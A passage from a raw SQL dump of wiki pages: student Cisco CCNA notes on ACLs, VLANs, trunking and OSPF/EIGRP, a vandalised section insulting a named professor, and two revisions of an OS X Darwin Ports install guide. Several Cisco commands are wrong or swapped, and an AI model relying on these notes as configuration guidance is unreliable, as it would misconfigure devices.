aliases\n\nMisc:\n\nsh run | int s0	#greps for that int 		\nsh run int <int>	#shows running config for that int \n\n\n\'\'\'ACLs:\'\'\'\n\n(In real world they don\'t work well when applied to eth in or serial out interfaces.)\n\nExamples:\n\naccess-list 5 permit 172.16.30.1		#defines the rule\nline vty 0 4 					#selects interface \naccess-list 5 in				#set ACL and direction\n\nsh access list	#view ACL parameters\n\naccess-group needs to have an “ip” preface in the command:\nip access-group in\n\nno ip-access list 5		#removes list (if in interface mode only remove it from that interface and not globally.)\n\n\n== CCNA 3 ==\n\n\'\'\'Switching Basics and Intermediate Routing\'\'\'\n\n\'\'\'CCNA 3 Final Exam Notes:\'\'\'\n\n\'\'\'0)Clear configs\'\'\'\n<pre>\nCAT: 	Clear config all / reset\n\nIOS: 	Erase star / reload (router)\n\nIOS:	erase nvram\n	vlan database\n	no vtp password\n	vtp transparent\n	vtp client\n	exit (to apply changes)\n</pre>\n\n\'\'\'1.Hostname and Ips\'\'\'\n<pre>\nCAT: hostname (ct)\nIOS: set system name <blah> \n\nCAT: set int sc0 172.16.10.2  255.255.255.0  172.16.10.255\nIOS: 	int vlan 1 \n	ip <ip addp>  <mask>\n	no shut\n</pre>\n\n\'\'\'2.Configure Trunk Lines\'\'\'\n\n<pre>\nCAT: 	set trunk 2/3 on dot1q\n	set trunk 2/4 on dot1q\n	sh trunk\n\nIOS: 	int fa0/11 <fa0/12>\n	swtchport mode trunk\n	switchport trunk allowed vlan 1\n	sh int fa0/11 switchport\n\n	Ping from distro to access to confirm trunking functionality\n\n</pre>\n\'\'\'3.Switch wins root spanning tree\'\'\'\n\n<pre>\nCAT: 	set spantree root 1\nIOS: 	spanning-tree vlan 1 priority <1>\n	sh spanning-tree vlan 1\n\n	In CatOS sh trunk will show mac of root switch and Cat switch mac to tell if it\'s root.\n</pre>\n\n\'\'\'4.Enable UplinkFast on 2900\'\'\'\n<pre>\nIOS:	 span uplink fast\n</pre>\n\'\'\'5.VTP Client / Server & VTP Secure\'\'\'\n<pre>\nCAT:	set vtp domain Block1 mode transparent\n	sh vtp domain\n	set vtp mode server		Switch#vtp password WATER\n\nIOS: 	vtp mode transparent / client / server\n	vtp domain Block1\n	no vlan # - to erase a vlan from config\n	sh vtp status\n	sh vlan				vtp domain password \n\nVLANs should propagate from distro to access\n</pre>\n\n\'\'\'6.Assign ports to VLAN on Catalyst 2900\'\'\'\n<pre>\nIOS: 	int fa0/1 <fa0/2>\n	switchport access vlan 2 <3>\n</pre>\n\'\'\'7.Create VLAN on Distro Switch\'\'\'\n<pre>\nCAT: 	set vlan 2 name GroupA\n	set vlan 3 name GroupB\n\n</pre>\n\'\'\'8.Inter VLAN Routing using external router\'\'\'\n<pre>\nOn distro switch:\n\nset port duplex 2/14 full\nset port name 2/14 blah\nset trunk 2/14 on dot1q\nsh trunk 2/14\n\nOn router:\n	\ninf fa0/0\nfull duplex\nno ip address\nno shut\n\nint fa0/0.1 (.2,.3) //config sub interface\nencap dot1q 1 (2,3)\nip address 172.16.10.X  255.255.255.0\n	\nsh int fa0/0\nsh ip int br\nsh ip route\n	\nSet IP\'s on PC\'s to corresponding network int on Boarder router.\nE.g. Host A gateway = 172.16.20.1\n\nPing from each host to gateway and to each other to confirm inter Vlan routing\nNote: You may not be able to ping from Boarder router to access / distro, this \ndoes not matter as you can ping from Host to boarder, etc.\n</pre>\n\n\'\'\'9.OSPF / EIGRP and Route Propagation\'\'\'\n<pre>\n	EIGRP:\n	int ser 0/0\n	ip address <ip>  <mask>\n	router eigrp 10 //AS number\n	network 172.16.10.0  //advertises network \n	network 192.168.50.0 \n	(Route may be auto-summarized. If discontinuous network this may affect routing.)	\n\n	int ser 0/0\n	clockrate 56000 //On DCE side (sh controllers int serial 0/0 for DCE / DTE mode)\n	bandwidth 56\n	no shut\n\n	int lo0(1,2)\n	ip address 192.168.50.x 255.255.255.252 (/30)\n\n	\n	OSPF:\n	router ospf 1 //OSPF Process Number\n	network x.x.x.x 0.0.0.255 area 0 //advertises network\n	\n	sh ip route\n	sh ip ospf int serial 0/0\n	sh ip ospf neighbor\n\n	clear ip ospf process //Clears OSPF routing process\n\n	ping from each host to loopback interfaces out Outside router\n\n</pre>\n\'\'\'8. OSPF Authentication\'\'\' \n<pre>\n	int serial 0/0\n	ip ospf message-digest-key 1 md5 <password>\n	router ospf 1\n	area 0 auth message-digest  //enables md5 for area 0\n\n	debug ip ospf events\n	Helps to isolate md5 issues, etc. as update packets are sent.\n	u all  //debug off\n</pre>\n\n== CCNA 4 ==\n\nThe below vandalism by Professor Birdwell is being investigated.\n\n\'\'\'WAN Technologies\'\'\'\n\nyOu ArE tHe tRuE, woRmlY StEw PoT !!! WhAt a GeEk !!! i FoUnD YoUr pAgE.\n\nbY\n\nYbE Bor','utf-8'),(73,'This is a quick guide to installing Darwin ports under OS X 10.4\n\nDarwin ports in similar to the ports tree in Freebsd, providing easy building and installation of thousands of applications for OS X.\n\nYou must first install the development tools for OS X which include development libraries, the gcc, header files, etc. required to build applications. Darwin ports requires the C compiler and libraries to be installed in order to install the ports package itself.\n\n\n== Apple Developer Tools ==\n\nDownload X Code version 2.5 or latest for your platform (PPC, intel, etc.) from the Apple Developer site:\n\nhttps://connect.apple.com/\n\nThis is about a 900MB download.\n\nMount the .dmg file and install the development tools themselves. Documentation is included.\n\nYou can verify it is install correctly by typing gcc into a terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ gcc\n powerpc-apple-darwin8-gcc-4.0.1: no input files\n ChangeMe-2-Prod-2:~/Documents archimedes$  \n\nShowing the gcc compiler is now installed, but no input file to compile was specified.\n\n== X11 for OS X ==\n\nYou should install X11, the X windows GUI environment for OS X. You and do this by either installing it from you OS X install disk, or better just download and install the latest version 1.1.3 directly. Installation is very straight forward.\n\nhttp://www.apple.com/support/downloads/x11update2006113.html\n\nAs an aside - now that you have X11 installed, why not install the GIMP for OS X? It\'s no more than a new clicks away at this point: http://www.macgimp.org/\n\n== Darwin Ports ==\n\nOnce X Code 2.5 is installed as above, installing Darwin Ports is quite straight forward.\n\nThe full instructions can be found at: http://darwinports.com/ as well as http://www.darwinports.com/install/\n\n1) Download darwin ports 1.5 or latest\n\n2) Mount the .dmg file and then install Darwin Ports.\n\n<font color = \"red\"> <strong>Important Step </strong> </font>\n\n3) You \'\'\'MUST\'\'\' include some additional directories in your path so that OS X will be able to find the binaries included with Darwin Ports (i.e. the port command itself) and packages you install with it. Simple execute these commands in the terminal:\n\n export MANPATH=$MANPATH:/opt/local/share/man\n export INFOPATH=$INFOPATH:/opt/local/share/info\n export PATH=/opt/local/bin:/opt/local/sbin:$PATH\n\nAnd verify the path is set correctly and that it now includes /opt/local/bin by using echo $PATH from the terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ echo $PATH\n /bin:/sbin:/usr/bin:/usr/sbin:/opt/local/bin\n\n4) Update the port package with:\n\n sudo port -d selfupdate\n\nThis will check the requierments for the build environment which is why X Code 2.5 was installed earlier. It will them compile a few things. \n\nNote that at the end it will display the location where Darwin Ports was installed to, for example:\n\n /opt/local/var/macports/sources/rsync.macports.org/release/base\n\n5) You may now install packages from ports by building them from the source code. See the following examples and documentation at http://darwinports.com/\n\n\n== Installing TightVNC ==\n\nTightVNC is a popular VNC server for X. This is usefull for connecting to you Mac if you are running X windows and using X apps. This will NOT directly allow you to connect to the normal OS X quartz / Aqua desktop remotely - to do that you may use other OS X VNC apps such as VineVNC Server which work quite well. \n\nInstalling TightVNC from Darwin ports consists of:\n\n1) From a terminal run:\n\n sudo port install tightvnc\n\n2) It build and install the app. After this, you will need to specify a path to X executables which are required for TightVNC:\n\n export PATH=$PATH:/usr/X11R6/bin/\n\n3) You may now run TightVNC with \n\n vncserver\n\n4) There are also other vnc apps installed, such as vncviewer to allow you to connect to other systems (OS X, Linux, etc) running VNC servers. vncpassword obviously sets the password for you vns sessions. \n\n ChangeMe-2-Prod-2:~/Documents archimedes$ vnc\n vncconnect  vncpasswd   vncserver   vncviewer\n\n\n== Installing MTR ==\n\nHere is an example of using Darwin Ports to install MTR - a popular networking utility for route analysis:\n<pre>\n ChangeMe-2-Prod-2:~/Documents archimedes$ mtr\n -bash: mtr: command not found\n\nDarn, don\'t have MTR installed, no worries . . . \n\nChangeMe-2-Prod-2:~/Documents archimedes$ sudo port install mtr\nPassword:\n--->  Fetching mtr\n--->  Attempting to fetch mtr-0.72.tar.gz from ftp://ftp.bitwizard.nl/mtr/\n--->  Verifying checksum(s) for mtr\n--->  Extracting mtr\n--->  Configuring mtr\n--->  Building mtr with target all\n--->  Staging mtr into destroot\n--->  Installing mtr 0.72_0\n--->  Activating mtr 0.72_0\n--->  Cleaning mtr\n\nChangeMe-2-Prod-2:~/Documents archimedes$mtr cnn.com\n</pre>\n\nIf mtr is not found you most likely do not have /opt/local/sbin set in your path, see above. If it is mtr is not installed and will run:\n\n<pre>\n                                       My traceroute  [v0.72]\nChangeMe-2-Prod-2.local (0.0.0.0)                                                                           Sat Nov 24 18:01:08 2007\nKeys:  Help   Display mode   Restart statistics   Order of fields   quit\n                                                                                            Packets               Pings\n Host                                                    Loss%   Snt   Last   Avg  Best  Wrst StDev\n 1. 192.168.2.1                                           0.0%     6    1.9   1.8   1.8   2.0   0.1\n 2. 10.97.96.1                                            0.0%     6    7.8   8.4   6.9   9.9   1.1\n 3. pch15.51.tampflerl-rtr2.tampabay.rr.com               0.0%     6   10.6  13.6  10.5  18.4   3.7\n 4. pos6-0-OC-192.tampflerl-rtr4.tampabay.rr.com          0.0%     6   11.4  15.9  10.3  37.8  10.8\n 5. pop2-tby-P3-0.atdn.net                                0.0%     6   13.0  11.8  10.7  13.0   0.9\n 6. bb1-tby-P0-3.atdn.net                                 0.0%     6   14.3  32.7  10.8 133.8  49.5\n 7. bb2-atm-P2-0.atdn.net                                 0.0%     5   23.1  24.0  22.8  25.9   1.3\n 8. ???\n</pre>\n\nThousands of other applications are now available to you using the same methodology. You may also learn more about a particular port with:\n\n port info mtr','utf-8'),(74,'This is a quick guide to installing Darwin ports under OS X 10.4\n\nDarwin ports in similar to the ports tree in Freebsd, providing easy building and installation of thousands of applications for OS X.\n\nYou must first install the development tools for OS X which include development libraries, the gcc, header files, etc. required to build applications. Darwin ports requires the C compiler and libraries to be installed in order to install the ports package itself.\n\n\n== Apple Developer Tools ==\n\nDownload X Code version 2.5 or latest for your platform (PPC, intel, etc.) from the Apple Developer site:\n\nhttps://connect.apple.com/\n\nThis is about a 900MB download.\n\nMount the .dmg file and install the development tools themselves. Documentation is included.\n\nYou can verify it is install correctly by typing gcc into a terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ gcc\n powerpc-apple-darwin8-gcc-4.0.1: no input files\n ChangeMe-2-Prod-2:~/Documents archimedes$  \n\nShowing the gcc compiler is now installed, but no input file to compile was specified.\n\n== X11 for OS X ==\n\nYou should install X11, the X windows GUI environment for OS X. You and do this by either installing it from you OS X install disk, or better just download and install the latest version 1.1.3 directly. Installation is very straight forward.\n\nhttp://www.apple.com/support/downloads/x11update2006113.html\n\nAs an aside - now that you have X11 installed, why not install the GIMP for OS X? It\'s no more than a new clicks away at this point: http://www.macgimp.org/\n\n== Darwin Ports ==\n\nOnce X Code 2.5 is installed as above, installing Darwin Ports is quite straight forward.\n\nThe full instructions can be found at: http://darwinports.com/ as well as http://www.darwinports.com/install/\n\n1) Download darwin ports 1.5 or latest\n\n2) Mount the .dmg file and then install Darwin Ports.\n\n<font color = \"red\"> <strong>Important Step </strong> </font>\n\n3) You \'\'\'MUST\'\'\' include some additional directories in your path so that OS X will be able to find the binaries included with Darwin Ports (i.e. the port command itself) and packages you install with it. Simple execute these commands in the terminal:\n\n export MANPATH=$MANPATH:/opt/local/share/man\n export INFOPATH=$INFOPATH:/opt/local/share/info\n export PATH=/opt/local/bin:/opt/local/sbin:$PATH\n\nAnd verify the path is set correctly and that it now includes /opt/local/bin by using echo $PATH from the terminal:\n\n ChangeMe-2-Prod-2:~/Documents archimedes$ echo $PATH\n /bin:/sbin:/usr/bin:/usr/sbin:/opt/local/bin\n\n4) Update the port package with:\n\n sudo port -d selfupdate\n\nThis will check the requierments for the build environment which is why X Code 2.5 was installed earlier. It will them compile a few things. \n\nNote that at the end it will display the location where Darwin Ports was installed to, for example:\n\n /opt/local/var/macports/sources/rsync.macports.org/release/base\n\n5) You may now install packages from ports by building them from the source code. See the following examples and documentation at http://darwinports.com/\n\n\n== Installing TightVNC ==\n\nTightVNC is a popular VNC server for X. This is usefull for connecting to you Mac if you are running X windows and using X apps. This will NOT directly allow you to connect to the normal OS X quartz / Aqua desktop remotely - to do that you may use other OS X VNC apps such as VineVNC Server which work quite well. \n\nInstalling TightVNC from Darwin ports consists of:\n\n1) From a terminal run:\n\n sudo port install tightvnc\n\n2) It build and install the app. After this, you will need to specify a path to X executables which are required for TightVNC:\n\n export PATH=$PATH:/usr/X11R6/bin/\n\n3) You may now run TightVNC with \n\n vncserver\n\n4) There are also other vnc apps installed, such as vncviewer to allow you to connect to other systems (OS X, Linux, etc) running VNC servers. vncpassword obviously sets the password for you vns sessions. \n\n ChangeMe-2-Prod-2:~/Documents archimedes$ vnc\n vncconnect  vncpasswd   vncserver   vncviewer\n\n\n== Installing MTR ==\n\nHere is an example of using Darwin Ports to install MTR - a popular networking utility for route analysis:\n<pre>\nChangeMe-2-Prod-2:~/Documents archimedes$ mtr\n-bash: mtr: command not found\n\nDarn, don\'t have MTR installed, no worries . . . \n\nChangeMe-2-Prod-2:~/Documents archimedes$ sudo port install mtr\nPassword:\n--->  Fetching mtr\n--->  Attempting to fetch mtr-0.72.tar.gz from ftp://ftp.bitwizard.nl/mtr/\n--->  Verifying checksum(s) for mtr\n--->  Extracting mtr\n--->  Configuring mtr\n--->  Building mtr with target all\n--->  Staging mtr into destroot\n--->  Installing mtr 0.72_0\n--->  Activating mtr 0.72_0\n--->  Cleaning mtr\n\nChangeMe-2-Prod-2:~/Documents archimedes$mtr cnn.com\n</pre>\n\nIf mtr is not found you most likely do not have /opt/local/sbin set in your path, see above. If path is exported, mtr will run:\n\n<pre>\n                                       My traceroute  [v0.72]\nChangeMe-2-Prod-2.local (0.0.0.0)                                                                           Sat Nov 24 18:01:08 2007\nKeys:  Help   Display mode   Restart statistics   Order of fields   quit\n                                                                       
